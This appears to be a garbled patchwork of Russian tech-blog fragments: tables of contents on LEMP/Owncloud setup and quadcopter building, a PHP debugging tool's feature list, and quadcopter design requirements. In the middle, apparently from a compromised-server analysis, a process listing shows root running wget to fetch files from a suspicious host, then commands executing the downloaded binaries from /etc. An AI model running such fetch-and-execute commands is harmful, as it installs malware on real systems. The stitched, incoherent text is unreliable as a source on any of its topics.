1. Развертывание актуального LEMP-stack
2. HTTPS. Let's Encrypt для Nginx с автоматическим обновлением сертификата
3. Конфигурирование Nginx для Owncloud
4. Кэширование php-apcu
5. Подключение внешнего основного хранилища по NFS

1. Базовые понятия (для начинающих коптероводов).
2. PID-регуляторы с интерактивной web-демонстрацией работы на виртуальном квадрокоптере.
3. Собственно программа для Arduino и настроечная программа на Qt.
4. Опасные тесты квадрокоптера на веревке. Первые полёты.
5. Крушение и потеря в поле. Автоматический поиск с воздуха средствами Qt и OpenCV.
6. Окончательные успешные тесты. Подведение итогов. Куда дальше?

Предыстория

• Поддержка вебсокетов браузерами
• Разработка онлайн-игры
• Благодарности
• Демка и исходный код

root      4741  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/sksapd
root      4753  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/xfsdx
root      4756  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/cupsdd
root      4757  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/kysapd
root      4760  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/ksapd
root      4764  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/atdd
root      4767  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/skysapd

Начальный анализ

cd /etc;./ksapdd
cd /etc;./kysapdd
cd /etc;./atddd
cd /etc;./ksapdd
cd /etc;./skysapdd
cd /etc;./xfsdxd

Зачем заниматься этой ерундой! — говорят опытные пользователи — OS лучше вас знает как кешировать файлы! С кешем и префетчем в современных OS, точнее FS, проблем нет! Зачем плодить свои кеши и списки популярных материалов и все такое?...

• Отладка PHP ошибок и исключений (было в v1.1)
• Дамп переменных любого типа
• Выполнение PHP кода удалённо
• Защита соединения по паролю
• Группировка данных отладки по URL запроса
• Открытие файла-строки ошибки в вашей IDE по клику на кнопку в уведомлении
• Копирование данных ошибки/дампа в буфер обмена(для тестеров)
• Новый клиент-сервер протокол без ограничений на размер данных
• Новая PHP библиотека на GitHub
• Новый плагин для Yii
• Новый плагин для Laravel
• Новый плагин для Silex
• Новый модуль для Drupal (спасибо @Chi-teck)
• И многое другое...

• Скриншоты
• Видео
• Список функций Google Chrome расширения
• Список функций PHP библиотеки
• Голосование за портирование на другие языки

Поставленная задача

• Высокая маневренность: хотя мой квад неповоротливым назвать не получается, но тем не менее, при весе в 2.2кг и с дорогой камерой на относительно хрупком подвесе спереди исполнять на нем фигуры высшего пилотажа как-то рука не поднимается. Хотелось коптер, на котором можно будет крутить бочки и петли вокруг деревьев без задних мыслей.
• Удароустойчивость: требование непосредственно связано с первым. Долго чинить коптер после каждой неожиданной посадки в дерево — не дело, аппарат должен держать удар.
• Время полета: хотя бы 10-15 минут, менять аккумуляторы чаще — ужe неинтересно.
• Легкий вес: данное требование исходит из трех предыдущих. Чем легче коптер, тем проще ему менять направление полета, тем меньше энергия столкновения с чем-либо, и тем дольше он провисит в воздухе на одной батарейке.
• Компактность: хотелось аппарат, который помещается в рюкзак, чтобы можно было его без проблем брать с собой в общественном транспорте и при пеших походах.